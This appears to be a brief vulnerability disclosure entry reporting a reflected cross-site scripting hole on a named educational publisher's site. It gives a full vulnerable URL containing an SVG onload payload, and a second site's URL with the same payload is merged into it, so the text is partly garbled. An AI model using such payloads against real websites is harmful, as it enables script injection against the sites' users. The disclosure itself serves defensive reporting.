activities.macmillanmh.com XSS vulnerability

Vulnerable URL: http://activities.macmillanmh.com/Techknowledge/data/shell/global/files/swf/tkmcmillon.php?level=01=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3E0http://www.scielo.org/php/level.php?lang=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3Een=42=30 Details: Description| Value...